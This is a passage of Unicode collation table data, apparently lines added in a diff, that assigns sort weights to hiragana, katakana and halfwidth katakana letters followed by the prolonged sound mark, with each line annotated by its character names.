+3062 30FC ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER DI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3061 3099 30FC ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CB 30FC ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF86 30FC ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF86 FF70 ; [.3D70.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306B 30FC ; [.3D70.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D2 30FC ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B 30FC ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B FF70 ; [.3D75.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3072 30FC ; [.3D75.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D3 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER BI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D2 3099 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B FF9E 30FC ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B FF9E FF70 ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3073 30FC ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER BI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3072 3099 30FC ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D4 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER PI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D2 309A 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B FF9F 30FC ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8B FF9F FF70 ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3074 30FC ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER PI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3072 309A 30FC ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DF 30FC ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF90 30FC ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF90 FF70 ; [.3D7A.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307F 30FC ; [.3D7A.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EA 30FC ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF98 30FC ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF98 FF70 ; [.3D83.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308A 30FC ; [.3D83.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F0 30FC ; [.3D88.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER WI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3090 30FC ; [.3D88.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER WI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F8 30FC ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER VI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F0 3099 30FC ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F1 30FC ; [.3D66.0020.000F][.3D5B.0020.0007.0002] # <KATAKANA LETTER SMALL SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F6 30FC ; [.3D75.0020.000F][.3D5B.0020.0007.0002] # <KATAKANA LETTER SMALL HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FC 30FC ; [.3D83.0020.000F][.3D5B.0020.0007.0002] # <KATAKANA LETTER SMALL RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A5 30FC ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF69 30FC ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF69 FF70 ; [.3D5C.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3045 30FC ; [.3D5C.0020.000F.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A6 30FC ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF73 30FC ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF73 FF70 ; [.3D5C.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3046 30FC ; [.3D5C.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AF 30FC ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF78 30FC ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF78 FF70 ; [.3D62.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304F 30FC ; [.3D62.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B0 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER GU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AF 3099 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF78 FF9E 30FC ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF78 FF9E FF70 ; [.3D62.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3050 30FC ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER GU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304F 3099 30FC ; [.3D62.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B9 30FC ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7D 30FC ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7D FF70 ; [.3D67.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3059 30FC ; [.3D67.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BA 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER ZU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B9 3099 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7D FF9E 30FC ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7D FF9E FF70 ; [.3D67.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305A 30FC ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER ZU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3059 3099 30FC ; [.3D67.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C3 30FC ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6F 30FC ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6F FF70 ; [.3D6C.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3063 30FC ; [.3D6C.0020.000F.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER SMALL TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C4 30FC ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF82 30FC ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF82 FF70 ; [.3D6C.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3064 30FC ; [.3D6C.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER TU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C5 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER DU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C4 3099 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF82 FF9E 30FC ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF82 FF9E FF70 ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3065 30FC ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER DU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3064 3099 30FC ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CC 30FC ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF87 30FC ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF87 FF70 ; [.3D71.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306C 30FC ; [.3D71.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D5 30FC ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C 30FC ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C FF70 ; [.3D76.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3075 30FC ; [.3D76.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D6 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER BU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D5 3099 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C FF9E 30FC ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C FF9E FF70 ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3076 30FC ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER BU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3075 3099 30FC ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D7 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER PU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D5 309A 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C FF9F 30FC ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8C FF9F FF70 ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3077 30FC ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER PU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3075 309A 30FC ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E0 30FC ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF91 30FC ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF91 FF70 ; [.3D7B.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3080 30FC ; [.3D7B.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E5 30FC ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6D 30FC ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6D FF70 ; [.3D7F.0020.000F.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3085 30FC ; [.3D7F.0020.000F.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER SMALL YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E6 30FC ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF95 30FC ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF95 FF70 ; [.3D7F.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3086 30FC ; [.3D7F.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER YU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EB 30FC ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF99 30FC ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF99 FF70 ; [.3D84.0020.0011.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308B 30FC ; [.3D84.0020.0011.0001][.3D5C.0020.0007.0002] # <HIRAGANA LETTER RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F4 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER VU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A6 3099 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <KATAKANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF73 FF9E 30FC ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF73 FF9E FF70 ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3094 30FC ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER VU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3046 3099 30FC ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0007.0002] # <HIRAGANA LETTER U, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F0 30FC ; [.3D62.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F2 30FC ; [.3D67.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F4 30FC ; [.3D71.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL NU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F7 30FC ; [.3D76.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL HU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FA 30FC ; [.3D7B.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL MU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FD 30FC ; [.3D84.0020.000F][.3D5C.0020.0007.0002] # <KATAKANA LETTER SMALL RU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A7 30FC ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6A 30FC ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6A FF70 ; [.3D5E.0020.000F.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3047 30FC ; [.3D5E.0020.000F.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER SMALL E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A8 30FC ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF74 30FC ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF74 FF70 ; [.3D5E.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER E, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3048 30FC ; [.3D5E.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER E, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B1 30FC ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF79 30FC ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF79 FF70 ; [.3D63.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3051 30FC ; [.3D63.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B2 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER GE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B1 3099 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF79 FF9E 30FC ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF79 FF9E FF70 ; [.3D63.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3052 30FC ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER GE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3051 3099 30FC ; [.3D63.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER KE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BB 30FC ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
